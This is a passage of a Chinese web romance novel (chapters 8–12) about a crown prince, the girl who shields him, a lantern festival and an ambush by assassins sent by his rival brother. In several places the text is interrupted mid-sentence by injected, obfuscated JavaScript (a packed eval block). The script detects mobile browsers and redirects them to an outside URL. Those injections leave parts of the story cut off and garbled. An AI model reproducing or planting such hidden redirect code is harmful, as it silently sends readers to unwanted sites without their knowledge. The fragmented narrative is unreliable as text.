有几滴鲜血溅到了谢知寒白皙的手背上,他接过南风递过来的帕子认真将手上的血迹擦去了。 □□既然已经伏诛,剩下的女子都不知情。 不知者无罪,只是罚她们必须每日求佛,来减轻□□犯下的罪过。 谢知寒吩咐南风将赈灾米粮妥善保管好,从南风手中接过江露染,小心地将她抱起,在刘府中找了一间干净的居室,吩咐南风快速将大夫找来。 南风不敢耽误殿下的吩咐,立刻转身去寻大夫。 殿下自从先皇后去了以后,其实很久没有如此动过怒了,今日甚至还亲自杀了人。 殿下今日实在有些反常。 大夫很快寻来,看着江露染颈后的伤口,把脉之后开了几副药,外敷和内用的都有。 对着谢知寒道:“这位小郎君不必担心,您的夫人只是受了些皮外伤,于性命无忧。不过呢,伤口须得每日涂药,否则容易留下疤痕。” 听到大夫如此说,南风立刻咳嗽了几声。 大夫不解地看过去,难道这位郎君也有什么地方不舒服? 南风用手掩唇,低声对大夫解释:“大夫您别误会,这位姑娘不是我们家公子的夫人,我们家公子至今还未娶亲。” 大夫重新望向谢知寒,眼看这位俊俏无比的郎君脸上满是关切,即使还没有与这位姑娘喜结连理,那估摸着也是快了。 小年轻嘛,含蓄些是很正常的。 大夫目光中透露出我懂,我懂的意思,收了南风的银两就走了。 南风:...这位大夫是不是误会了什么。 江露染这一晕直到晚上才醒来,一睁开眼眸就看到谢知寒的身影,他修长的指中握着一本书,一页一页地翻阅,眼神很上去很是专注。 听到床上发出细微的声音,谢知寒放下书卷,朝着江露染走来。 “醒了?”声音清泠,像风吹竹叶。 “殿下。”江露染说着就要起身。 谢知寒双手放在她的肩上,让她重新躺在床上。 “你的伤还没有好,不要乱动。” 江露染望进谢知寒深沉似海的眼眸:“殿下为何不去休息?” “你是为孤受的伤,孤怎可轻易离开。” 原来是这样。 江露染还没有整理好自己的思绪,就听到谢知寒对自己问道。 “为什么要挡在孤的前面?”语气听上去有些无奈。 “因为害怕殿下受伤。” 谢知寒眉眼中也透露出无奈:“露染,你知不知晓——” 什么?江露染抬头。 “你知不知晓你在孤怀中,在发抖?” 江露染水眸望着谢知寒,有些呆呆的。 谢知寒眼看着少女有些发愣的模样,心中叹了一声,这个姑娘哪里都好,就是一点对她自己太不好。 初次见她就是被人欺负,今时今日,他本以为她可以庇佑她。 没有想到,情况竟然是颠倒了过来。 危急之时,是这个少女不顾危险地挡在自己面前,将她自己的性命置之度外。 可她自己也不过是个小姑娘,面对如此危险的时刻,她虽然面上装的平静至极,但心中也还是会感到害怕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711775|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日的事的确是他做的不够好,若是自己能再多想一点,多安排一些。 她就不会受伤了。 今日之事,是他对不住她。 江露染却不知晓在短短的时间里,谢知寒心中想了如此多的事情。 她脑海中一直回荡着谢知寒的话,她在发抖。 那个时候,她竟然在发抖么。 本来以为自己在他心中一定很勇敢,但是那个时候她竟然在发抖么。 殿下不会觉得她是个胆小鬼吧。 啊,怎么感觉好像又把事情搞砸了。 思及此,江露染立即用被子遮住脸,觉得没有脸面见谢知寒。 她可不是胆小鬼。 眼看着江露染用被衾将自己严密地包裹住,谢知寒心中一紧。 “是不是哪里不舒服?” 江露染头仍然埋在被衾里,也不说话,就只是闷在被衾里摇头。 谢知寒担忧她的伤口会裂开,修长指尖捏紧被衾一角,稍稍用力就将被衾拉了下来,露出小姑娘水灵灵的面容。 谢知寒仔细去查看她颈后的伤口,还好,没有裂开。 江露染瓮声瓮气地道:“殿下,我不是胆小鬼。” 发觉江露染的意思,谢知寒失笑,方才她刚才异常的举动就是因为这个原因么。 她觉得自己认为她是胆小鬼。 怎么会,她比自己曾经见过的所有人都要勇敢。 以往在宫中的时候,所有人都听他的,都畏惧他。 不是畏惧他这个人,而是畏惧他这个身份。 若是出了事情,父皇迁怒到自己,那个时候宫中人害怕惹祸上身,一个个都无视噤声。 而今次,江露染是第一个主动站在他面前的。 让他觉得,这个世界上除了母后之外,仍旧有人会为自己挺身而出。 “孤何时说过露染是胆小鬼?” 谢知寒将散乱的被衾理好:“你是孤见过最勇敢的小姑娘。” 第一次听到殿下如此肯定地夸奖自己,江露染不可置信地抬起头。 情不自禁地呼唤他:“殿下。” 谢知寒眼看小姑娘不再被负面情绪所困,拿起手中的药瓶,对着她道:“还不靠近些,距离那么远可如何上药?” 殿下要给自己涂药? 男女授受不亲,这样不太好吧。 眼看江露染还在原地发呆,眉眼似水般沉静,谢知寒又重复了一遍。 “殿下...这样不太好吧。” 谢知寒眯起眼眸,里面闪烁着危险的光,瞳仁在烛火下显得越发黑亮,像颗闪闪发亮的黑曜石珠子。 “孤都不介意,难道是你嫌弃孤?” 怎么会,江露染立时摇头。 “那还不靠近些。” 江露染闻言一寸一寸向谢知寒挪过去,鼻尖萦绕着他身上清冷的檀香,明明应该醒神的,此时江露染的头脑却越发昏沉起来。 目光所及之处是殿下的白衣,可以清晰地看到白衣上面用银线绣的纹样,和他本人一样高贵典雅。 谢知寒眼看着小姑娘听话地靠过来,乖乖地停在自己面前寸许。 他长指撩开她的乌发,可以闻到她发丝上好闻的甜香。 而后就是小姑娘白皙修长的颈,上面有一道狰狞的伤口,看上去有些可怖。 看到这道伤口,谢知寒心里一颤,这都是自己不好,才让小姑娘遭受了这样的痛楚。 他指尖蘸了些药膏,轻轻覆在江露染的伤口上,一点一点将药膏涂匀。 感受到江露染身体轻轻颤了一下。 谢知寒:“疼?” 江露染摇头:“殿下,不疼的。” 只是有点痒,还带着点酥麻,殿下怎么还没有涂好。 她轻轻地扭了扭身子,谢知寒指尖有些偏,药膏也涂歪了。 眼看眼前的少女坚持不住,开始动来动去。 谢知寒轻轻扯住少女的藕臂,控制住她的身体。 “别动,马上好了。” 殿下的指尖有些凉,可江露染却感觉他触到的那寸皮肤逐渐升温。而后这种触感顺着那寸皮肤蔓延到全身。 殿下,怎么还没有涂好? 江露染感觉自己要发烧了。 终于,谢知寒收回指尖,用帕子净了手,看到江露染泛着红的脸颊,像是一颗熟透的樱桃。 担心她是不是发热了。 想着,他伸出手去探她额头的温度,很正常。 “可是还有哪里不舒服?” 江露染不敢直白地告诉他,他才是她浑身异样的源头,只是规规矩矩躺好,看也不看谢知寒,闷声道:“可能是困了,想歇息,今日殿下也很是辛苦,殿下也早些歇息罢。” 说着,就翻了个身,留下后背给谢知寒。 谢知寒本来还想叮嘱她这几日饮食的忌口,小姑娘突然之间就不再理自己,他本来想说的话语都被堵了回来。 算了,他不跟生病的人计较。 “好,那你好好休息。”说着,谢知寒就起身向门外走去。 关门之时隐约看到江露染又把头埋进被衾,整个团起来。 像只乱动的小猫。 9. 第 9 章 自己为何总是在殿下面前失态,这样岂不是让殿下对自己印象总是很差。 江露染对自己的反应非常不满,缩在被衾里想,以后一定要注意自己的言行,切忌不可再失态。 谢知寒将刘回州那里找来的米粮全部用到了曲洲灾情建设之上,在每个街口安排人手施粥米。 曲洲在谢知寒的管理下很快恢复了之前的样貌,倒塌的屋舍重新修建起来,百姓的生活也很快恢复到之前的水平。 曲洲街道恢复了曾经的繁华,再也看不到一月之前乞讨遍地的景象。 而朝廷很快就派了新的府尹来曲洲上任,来曲洲担任新府尹的人唤关云,是个两袖清风,为民做主的好人。 百姓人人称赞太子殿下,连谢知寒平日里住的府衙门前都放满了百姓送来的花。 南风明明对大家说过,殿下不需要大家送任何东西。 然而次日门外还是会堆满了各种物品,除了花之外,还有各种曲洲好吃的食物,当然还有不少女孩子家送的香囊。 江露染每次都很认真地将门外大家送来的物品拿回。 这都是大家的心意,总是放在门外,大家以为殿下不喜欢,那得多伤心。 再说了,殿下也不是这样冷心薄情的人。 江露染将花修建花枝,放入花瓶,倒入清水。 食物一一分给众人,不愧是曲洲特有的食物,入口即化,很是好吃。 但是对着那些女孩子绣的香囊,江露染却发起了愁,这可怎么办。 香囊有很多个,殿下该如何佩戴呢? 江露染决定将这个难题抛给谢知寒,反正这些香囊是绣给殿下的。 谢知寒此时正在房间翻看一卷书,背影出尘,是一贯的风轻云淡。 长指落在书卷一角,指尖细白。 曲洲事情已经了结,不日就该回京了。 谢知寒落在书卷上的视线有些迟疑,似乎在犹豫着什么。 他自然是要回去的,可是江露染呢? 这里是她的家乡,他曾经也下过决定,事情结束就和小姑娘分开。 桥归桥,路归路,二人再也不会有任何瓜葛。 还记得做决定那日他心中很是轻松,似乎这是一件非常理所应当的事情。 可是此时想到他就要离她而去,他在上京,她在曲洲,两个人之间相距甚远,犹如隔了千山万水,以后或许再也见不到了。 谢知寒胸口有些发闷,他竟然发觉他不想让这种事情发生。 他有些舍不得。 正在心神恍惚之际,忽的听闻门外传来敲门声。 谢知寒将纷乱的思绪收回,清沉的声音响起:“进。” 江露染怀中抱了一大捧香囊,将它们整齐地置于谢知寒桌前。 谢知寒抬眼,不知她这是何意。 “殿下,这些香囊都是门外大家送来的,不知如何处理,索性都给殿下拿来了。” 原来是将这些难题抛给自己。 谢知寒放下书卷,看都没看那些香囊,目光直视着江露染。 “既然不知如何办,那就暂且先不用管了。” 待离开曲洲之后再派人放在府衙门前,让那些姑娘们自取好了。 此时解决了香囊之事,眼看着江露染面色扭捏起来,谢知寒眯起眼眸,小姑娘心中是藏了何事? 她一向心中藏不住任何心事,谢知寒静静地等她自己开口。 “殿下,不喜欢香囊吗?” 倒也不是不喜欢,只是觉得佩戴这些东西有些太过麻烦。 且这些都是旁人送的,他又怎能据为己有。 “没有不喜欢。” 听到谢知寒说没有不喜欢香囊,江露染提起的心这才放了下来。 她望着谢知寒的眼眸,一向明媚的眼神中此时罕见的含了羞赧,脸颊也微微泛起薄红,像颗熟透的荔枝。 江露染从方才起就一直握在手心的香囊,双手朝前向着谢知寒奉了上去。 少女手心白的像雪,此时正认真握着一只银白色的香囊。 香囊上面绣了一枝傲雪凌霜的梅花,与谢知寒曾经见过的很不一样。 “殿下,我也给你绣了香囊,希望殿下余生安稳顺遂,喜乐安康。” 谢知寒愣了一会儿,接下少女手心的香囊,触碰间,二人皆感觉到一阵酥麻。 江露染脸颊很烫,像是滴了血一般。 眼见谢知寒收下香囊,她很快跑出了屋子,连南风在回廊那里唤她也没听见。 谢知寒定定地看着香囊,梅花绣的很好,只是针脚有些粗糙,比不上宫中绣娘做的精细。 但是望着这香囊,谢知寒心中很是温软,他记得母后也心悦梅花,心悦银白色。 再加上这是小姑娘送的,也不知道她自己在房间熬了多少个晚上。 若是不戴上岂不是对不住她的心意。 思及此,谢知寒很快就将香囊佩戴在自己腰间。 想想几日之后即将到来的分离,这样做也希望小姑娘可以更开心些罢。 眼看太子殿下就要离开曲洲,众人都很是依依不舍,对着谢知寒道。 “殿下,过两日就是曲洲的灯会,不若看完灯会再走罢。” “是啊殿下,来曲洲不看灯会岂不是可惜了。” 见众人纷纷挽留,谢知寒决定在曲洲看完灯会就启程回上京。 灯会当日,满街都是各式各样的花灯,夜晚很是明亮,宛如白昼。 众人都在灯会上闲适地游荡,到处都是喜气洋洋。 谢知寒以往从未参加过如此热闹的灯会,在上京时,越是灯会之时,宫中规矩只会越发严谨,只怕有人会趁着节日闹事。 来曲洲的这些日子里,虽然辛苦,但比起他在宫中严苛无比的日子,已经算是非常宽松了。 不过,很快他就又要回到严苛无比的深宫之中,去做他那个无可指摘的太子殿下了。 “殿下。” 谢知寒听到背后江露染在呼唤他。 他缓缓转身,背影清隽。 这一路上江露染总是紧紧跟在自己身边,一刻也没有离开。 此时呼唤他,或许是看上了首饰之类。 谢知寒回身就看到就被一抹暖黄的的烛光照亮,缓了一会儿,眼前适应过来,看到江露染正站在自己面前,手中举了一盏星星灯。 方才暖黄的光晕正是从她手中握着的星星灯中传来。 江露染就这么乖巧地站在他面前,细白的手指握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然有疑问,但见着殿下已经做好决定,他也不好多说些什么。 左不过就差了几个时辰。 南风很快将物品收好,此时已接近子夜。 江露染的房间早就没有了光亮,想必是今晚的灯会上累着了,早点歇下了。 一会儿还要去将小姑娘唤醒,不知晓她会不会骂自己,南风如此想着。 眼见谢知寒披上玄色的大氅,就要走出府衙,南风不解:“殿下,不去唤醒小姑娘吗?” 谢知寒向江露染的房间深深看了几眼,最终道:“不了,孤已经安排好人手在曲洲照顾她,她以后不会有事。” 言下之意,就是不带江露染一起回京了。 南风诧异非常,这是在灯会上发生了什么事情,殿下为何突然如此。 这几日殿下因为江露染开心了不少,为何竟是说走就走,连句告别都没有。 “殿下,这不太好罢。”他试图拯救。 但谢知寒已经掀起轿帘,对他道:“孤意已决。” 10. 第 10 章 听得殿下如此说,南风也没有办法,只能在心中与江露染告别。 这几日与江露染相处下来,他很喜欢她的性格,眼看着殿下与江露染相处也是极为舒适的,他还以为江露染在殿下心中是不同的。 但是今日看来江露染与他人并没有什么不同。 南风极为惋惜。 自从先皇后去后,殿下一直将自己绷得很紧,每日像是挂在弦上就要飞奔而去的箭矢,一刻也不得松闲。 而在殿下见到了江露染之后,殿下眼见的放松下来,让南风看到了几分先皇后在时的影子。 本以为江露染可以一直这样陪伴在殿下身边。 可谁料殿下竟然先把她抛下了。 南风将轿帘整理好,坐在马车最前面驾车。 行至半路时,南风余光撇下一个小小的身影朝着马车疾行过来,速度快到几乎要撞上去。 本来此时就是深夜,街上人烟稀少,大家都回去休息了,南风也降低了几分戒备心。 此时眼见这个小小的人影朝着马车冲过来,他连忙勒紧缰绳,让马儿第一时间停下来。 在紧急关头,马儿终于停下前进的步伐,南风的心也落了下来。 这般迅疾地冲上来,可是随时会丧命的。 到底是谁做出如此行为,不想活了不成。 谢知寒也很快感觉到马车的异样,清沉的声音从马车内传来:“发生了何事?” 轿外一片寂静,无人回答。 南风诧异地看着眼前的人,她动作缓慢地掀开帷帽,露出一张清水出芙蓉,天然去雕饰的脸庞,不是江露染又是谁。 南风心中惊诧自然没有听到谢知寒的问话,他刚从惊吓中缓过来。 不知道该对小姑娘说些什么。 谢知寒良久都没有听到南风的回答,以为外面发生了意外,细白修长的手指掀开轿帘,一眼就看到站在马车最前面的江露染。 小姑娘穿的很单薄,夜里的寒风将她的衣裙吹得飘起来,可她的身影一点也没有后退。 离得有些远,谢知寒看不清江露染脸上确切的表情,但是小姑娘不言不语的模样令人揪心,孤零零地站在那里像风雨中颤抖的花枝。 她一句话也不说,就只是眼睁睁地看着谢知寒。 两人对视很久,江露染才开口说话,声音中带了哭腔。 “殿下,你怎么可以抛下我呢?” 谢知寒掀起轿帘的手指捏紧,指尖泛白。 他以为自己可以在做出决定后不带任何情绪的冷静执行,然而在此刻,听到江露染带着哭腔的质问,谢知寒才发现自己大错特错。 面对江露染,他做不到冷静,也做不到无视。 她哭了,他应该对此承担所有责任。 他不该抛下她的。 心中轻叹一声,谢知寒走下马车,去将面前他丢下的小姑娘接过来。 走近她,谢知寒方才望见她娇小脸庞上水光潋滟,一双杏眸也噙满了泪水,她的眼瞳一眨不眨地望着他,此刻沾上了水色,显得分外可怜。 谢知寒将自己的玄色氅衣披在她身上,伸出手将小姑娘脸上的泪水抹去了。 他清沉带着磁性的声音就响在耳畔,对着她一字一句道:“这次是孤做错了,原谅孤好不好?” 江露染望着眼前人无可指摘的俊秀容颜,心中想不能如此轻易原谅他。 他明明答应了自己的事没有做到。 可是看着他真挚无比的墨色瞳仁,她还是轻轻地点了点头。 谢知寒见状拉住江露染的手,少女指尖细软,此时散发着凉意。 他手指微顿,将少女的手更紧地握进自己的手心,只想让她温暖一点。 谢知寒抱着江露染到了马车上,南风才将捂住自己双眼的手放下来,殿下方才给姑娘擦眼泪,还牵了姑娘的手,什么时候发生的事,他可是一点也没看到啊。 到了马车上,谢知寒明明知晓马车上很温暖,却还是给江露染裹紧了氅衣,不让它透一丝风。 又往她手中塞了个手炉。 看着小姑娘一句话也不说,就这么望着自己,修长的眼捷上还沾着将落未落的盈盈泪珠。 眼眸中带着担心。 像是很担心他马上就要从她身边再次消失。 谢知寒心中有些愧疚,对小姑娘解释:“孤不是有意要抛下你的。” 江露染眨了眨眼睛,并没有相信。 谢知寒轻叹一声:“孤何时骗过你呢?” 他继续道:“实在是不想让你进宫里拘着,你可知宫里很危险,什么都有可能发生,孤不想让你”他顿了顿,继续道:“不想让你受到危险。” 看到江露染还是不讲话,谢知寒语气带着无奈:“还是不肯相信孤?” 江露染摇头,像只摇着头的小兔子。 “既然宫中如此危险,那殿下更应该带上我了,因为我会——保护殿下。” 小姑娘的声音很是坚定,字字句句落在谢知寒心上。 他是国都金尊玉贵的太子殿下,费劲心思想要得到他庇护的人数不胜数,这是谢知寒第一次听到有人会来保护他。 谢知寒望着眼前少女的明眸,里面潋滟着星点的水光,眼神比他见过的任何一个人都要坚定。 谢知寒心中一软,看着姑娘单薄的身躯缩在自己的氅衣里,像是瑟瑟发抖的幼鹿。 “是不是困了,困了就歇息,放心,不会有人来打扰你的。” 江露染坐着没动,染了水色的眸子仍旧一眨不眨地望着谢知寒,仿佛再说,是不是我一闭上眼睛殿下就会再次抛下我了。 谢知寒无奈,自己这次的确是做的太过分了。 不能怪小姑娘想的太多。 “孤不会再离开你了,孤是储君,自然说话算话。你若是再不休息,孤可生气了。” 听得此话,江露染这才在小榻上躺下了,可是眼神仍旧一眨不眨地望着谢知寒。 小姑娘脾气倔的很,他说什么也不肯听。 只好让她一直看着。 谢知寒此刻一点睡意也无,随手拿了一本书卷读,翻了十几页,再回首看时,小姑娘已经睡着了。 苍白的小脸上垂着几滴泪珠,看上去脆弱至极。 谢知寒情不自禁伸出长指将泪珠拭去了。 谢知寒就这样望着江露染安静的睡颜,心中思绪翻涌。 救下她那日,他并不知晓今日会发生这样的事情。 作为东宫太子,他一向克己复礼,很少纵着自己的心意,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她隐隐猜到是什么事。 “父皇他在夸谢知寒,谢知寒在曲洲将事情办的很好,父皇笑的很开心呢。” 果然是这件事。 谢衡眼见李贵妃一点也不着急,有些愤愤:“母后为何不生气?” 李贵妃缓缓拿起果盘上的水果吃了,动作贵气而优雅。 “我为何要着急?倒是你,他怎么说也是太子,是你名义上的兄长,你竟然直呼他的名讳,传出去定要受你父皇责罚。” 眼见李贵妃也不帮自己说话,谢衡急切道:“母后!” 李贵妃将一瓣橘子递到谢衡口中:“急什么,他不是还没有回京吗?” 谢衡领悟到李贵妃的意思,满脸的急切不见了,与李贵妃的眼神对视片刻,而后道:“母后的意思是...” 李贵妃又往他口中塞了一瓣橘子,堵住他接下来的话。 “我可什么都没说,这橘子甜不甜?” 谢衡:“回母后,橘子很甜。” 11. 第 11 章 母子俩用完水果,李贵妃对着谢衡道:“你有时间还得多去你父皇那里。” 谢衡点点头:“儿子知道。” 他比起谢知寒来说才貌平庸,在储君之争中并无多大的胜算。 可唯一的优点就是李贵妃还在,母子同心自然其利断金。 况且陛下一向不喜先皇后,连带着不喜谢知寒。 自从先皇后去了以后,陛下厌恶的情绪更甚从前。 虽说谢知寒如今仍是太子,但是父皇还健在,来日方长,一切还都是未知。 曲洲这事难办,陛下才会派谢知寒前去,他本以为这事得让谢知寒难过许多天,但谁知谢知寒竟然将此事办的如此漂亮。 就连父皇也破天荒地夸了他。 看来这是在逼他出手,这就怨不得自己了。 父皇对自己如此宠爱,想来就算东窗事发,也不会对自己生气的罢。 不过也不会有东窗事发那一天。 谢衡与李贵妃对视一眼,彼此心中都做了决定。 想要争夺储君之位不是一件简单的事情,可是谢衡为此谋划了许多年。 今日终于可以将自己豢养的那群死士派上用场,谢衡心中还有些激动。 若是此次大事可成,那这天下对他来说还不是手到擒来。 风从窗棂吹过来,引得殿内烛火微微跳跃,烛光照亮谢衡狰狞的面容。 * 谢知寒的马车缓缓驶离了曲洲,这几日来一路安好。 江露染已经确定殿下不会再抛弃自己,也不在哭丧着脸了。 想起那日的情景,谢知寒心中还仍旧心惊。 那日他才知道小姑娘睡了一会儿,就满面愁容地呼唤自己的名字,怎么都叫不醒,仿佛是陷入了可怕的梦魇。 可在这深夜去哪里找大夫? 还是谢知寒轻轻抚摸小姑娘的头发,放慢语气哄了她好久,小姑娘才慢慢恢复了过来。 江露染这几日无聊跟谢知寒一起看书。 可是谢知寒看的书卷都是治国方略,要么就是四书五经,江露染一看这些就头疼。 可是殿下喜欢看这些,江露染只好一声不吭陪着谢知寒一起看。 直到有一日江露染看着书睡着了。 她的头轻轻磕在谢知寒的肩上,轻轻地碰了一下。 谢知寒拦住她将她扶到小榻上,看着江露染睡得沉沉的模样,谢知寒不禁失笑。 倒是自己疏忽了,女孩子家怎么喜欢看如此晦涩难懂的治国方策呢? 次日,马车里就多了一些内容时兴的话本子。 南风一脸怨尤地看着江露染,都是因为江露染要看话本子,殿下才让自己大清早去集市买最新出的话本,连觉都没有睡好。 江露染自然不知晓这些事情,只是实在受不了南风幽怨的眼神,给南风用郊外的花束编了一个花环。 南风看着手中鲜艳无比的花环,虽然他不喜欢这种徒有其表的物品,但是看在这是江露染亲手做的份上,他就原谅了她吧。 马车正行驶到一个崎岖的山谷中,山中道路狭隘,两侧都是山脉,看上去很是危险。 当马车行至山谷一半时,山谷上突然冲下一群黑衣人。 黑衣人手中皆拿着兵刃,一身黑衣严整肃杀。 南风眼神一暗,殿下不欲与其他人发生不快,但是树欲静而风不止。 宫中的生活没有一日是平稳的。 就连此时回宫的路上也遇到了这样的事情。 这些人真的是要把殿下逼到绝路吗? 南风眼见刺客接近,抽出腰间的宝剑,迎身而上。 并且嘱托谢知寒身边的其他人:“保护好殿下。” 连南风也去应敌了,谢知寒不用掀开帘也知道外面此时正是一场多么厉害的厮杀。 兵器相撞声不绝于耳,还不断传来各种皮肤划开的碎裂声。 江露染心中一沉,想掀开轿帘,看看外面发生了何事,虽然心中已有准备,但是看到殿下的脸色阴沉无比,这还是第一次看到殿下露出如此模样。 如果此时自己可以为殿下分忧的话,他是不是会好一点? 江露染才堪堪转了个身,就被谢知寒手心揽住腰部,牢牢地固定在车内。 谢知寒眼神沉静,像深邃不见底的湖。 他的声音也含着冷沉,像是冬日里的冰雪,字字句句沁出寒意。 他对着乱动的小姑娘道:“外面危险。” 话音刚落,就有一只箭矢带着凌厉的破空之声,穿过帘子直刺进来。 笔直的穿透距离二人半寸的木板上,箭镞还带着剧烈的嗡鸣。 江露染眼神蓦地睁大,瞳仁中沾了一点儿水色,里面带着难以言喻的惊恐。 这些人是疯了不成,光天化日之下竟然敢刺杀殿下。 他们真的是罪该万死,若是殿下出了什么事,小姑娘的拳头捏紧,她就要他们一一为殿下偿命。 江露染抬眼看了一眼谢知寒,不过殿下在她心目中一向宛如神邸般存在。 殿下一定不会有事的。 谢知寒感受到江露染的目光,有些灼热。 他的掌心揽着江露染腰肢的手又加重了几分,清沉的声音响在她的耳畔。 “害怕了?” 有殿下在怎么会害怕,江露染坚定地摇了摇头。 谢知寒看到江露染瞳仁中分明的水色,衬得她眼眸更是黑白分明。 遇到这种场面,她怎么可能不害怕,况且那只破空而来的羽箭就在她的近处,若是再偏移一些,说不准就会伤到她。 思及此,谢知寒揽着江露染的手上紧了紧。 若是这次她又因自己而受了伤,他要如何面对她。 南风已经厮杀了很久,眼看着黑衣人的数量越来越多,而自己和其他兄弟们已经快要尽力了。 若是这样下去,殿下会受危险的。 南风看了一眼马车的方向,已经有黑衣人向着那里接近了。 “殿下!”眼见有一个黑衣人手中拿着很长的刀刃向着马车劈了过去,而南风被困在原处,短时间内根本赶不过去。 南风用尽力气对着殿下喊了一声。 在黑衣人即将劈过去的时候,马车碎裂,谢知寒抱着江露染从马车中凌空而出。 少女的长发披 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711778|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在纤细的腰肢上,被风吹的扬起来。 马车碎裂的爆破声让周围的黑衣人都不自觉地向后退了一步。 眼看着马车中飞出一对璧人,男子一身白衣,宛若谪仙,想必这就是二皇子口中的太子殿下。 他怀中揽着的少女一身青衣,腰肢纤细,青丝飞扬宛如仙子。 倒是不知晓这个少女是何人,不过那也不重要了,看两个人如此亲密的模样,想必这少女是太子殿下的相好。 今日便送你们一起去黄泉,有人作伴路上也不会太孤单。 思及此,黑衣人靠的越发近了,显然是想赶快完成任务,回京领赏钱。 谢知寒眼见刺客数量如此之多,他将怀中的少女放在一块山石之后,对着少女道:“乖乖的在这里,哪也不要去,等孤来接你。” 说完谢知寒纤长指尖握着剑柄就转身离开了。 望着谢知寒清隽却满含杀意的背影,江露染很想快步追上,陪在他身边。 可是又清楚的知道,若是在此时冲了出去,她又不会武功,只会给殿下带来麻烦。 江露染心中从未产生从未有过的后悔,她要是以前练些功夫就好了。 在此时一定可以保护殿下,带他逃离困境。 她不是菟丝花,也不想做殿下身边的菟丝花。 她要做参天大树,为殿下遮风挡雨。 虽然她现在做不到,但总有一天,她会做到的,她会保护殿下,不让他受到一点一滴的伤害。 黑衣人从未想过看上去冷冷清清的太子,竟然武功会这么好。 简直就是势如破竹,几个人也围攻不下来。 事情看上去有些难了。 眼见时间已经过去了许久,再拖下去不是一件好事,黑衣人发动的攻击越来越猛烈,各个都拿出了豁出命去的想法。 毕竟他们可是传说中出手从无败绩的帮派,此次要是在宫中二皇子露了脸,以后可直接就与朝廷挂钩了,有了朝廷做支撑,还怕生意不红火? 眼看黑衣人的攻势越来越猛,有一道猛烈的白光划过,谢知寒的左手臂被黑衣人划了一道很深的伤口,鲜血从伤口中崩裂而出,浸透了衣裳。 像是冬日雪地里盛放的梅花。 江露染紧紧盯着局势,此时见到谢知寒受伤,再也忍不住,从山石后面跑出,紧紧地拥在他的面前。 谢知寒也不是没有见过血光的人,此时受到伤只是觉得左手臂疼了一下。 但是眼见怀中的江露染紧紧地拥着他,他眼神中显示出无奈,不是让她在石头后面等他去接吗,怎么冲了出来。 此时这么危险,她若是受了伤可该怎么办。 这小姑娘可当真是一点儿也没有将自己的话放在心上。 偏生他又不能拿她怎么样。 眼看黑衣人又重新朝着二人围拢过来,谢知寒紧紧拥住江露染,说话的声音有些低沉:“不是说好等孤来接?” 江露染此时也反应过来,自己没有听他的话。 可是她也实在是控制不住自己,看到他受伤什么也顾不得,只想立刻到他身边。 告诉他,他不是只有自己一个人。 12. 第 12 章 眼看黑衣人的攻势越来越猛,谢知寒已经及其他人都有些招架不住。 谢知寒从衣袖中拿出一只小巧的骨哨,打算将它吹响。 南风用余光扫到,对着谢知寒道:“殿下!” 谢知寒仍旧吹响了骨哨,清脆的声音响彻天地,骨哨响起一刻钟后,身后很快赶来一群穿白衣的人。 他们先是对着谢知寒行了个礼,而后动作迅速地解决了那群黑衣人。 他们出手快速非常,几乎看不见是如何动作,但是那帮黑衣人很快就被解决掉了。 并且还为谢知寒留下了几个活口,以便于日后谢知寒用来审问。 他们做下这些之后,便再次对谢知寒行了个礼,而后整齐地离去了,宛如天边轻轻划过的一片云彩。 南风去将剩下的几个活口留下来,但谁知其中有一个眼睁睁看着自己的老大,为了保护自己死在了自己面前,对谢知寒非常憎恨。 且这场仗本来就是很有希望拿下的,谁知道这个什么太子殿下吹了一曲奇怪的哨子后,从哪里忽然窜出一群奇怪的人打赢了自己。 这算什么。 那个活下来的黑衣人装的很是乖巧,南风见状还以为他是甘愿被擒,趁着南风不注意,黑衣人手指一动,取下袖子中还剩下的唯一一枚暗器。 对着谢知寒的方向发射而去。 谢知寒正在查看江露染身上的伤口,未能第一时间察觉到暗器的袭击。 江露染此时正好面对刺客,眼看着那枚在日光下泛着寒光的刀刃从远处破空而来。 江露染头脑一阵发白,脑海中闪过的第一个想法就是绝对不能让殿下受到伤害。 暗器飞来的速度很快,几乎是转瞬之间就到了谢知寒面前。 江露染用力将谢知寒推开,下一秒暗器就刺入了江露染心口。 谢知寒正想对江露染道以后不能再如此不顾危险地冲出来了,若是她有事怎可么办。 话语还未说出口,江露染就用力将自己推开,胸口氤氲出一片刺眼至极的鲜红。 谢知寒急忙上前将少女揽在自己怀中,看着少女呼吸缓缓,他伸手缓缓按住她的胸口,试图降低鲜血流出的速度,可是根本没有用。 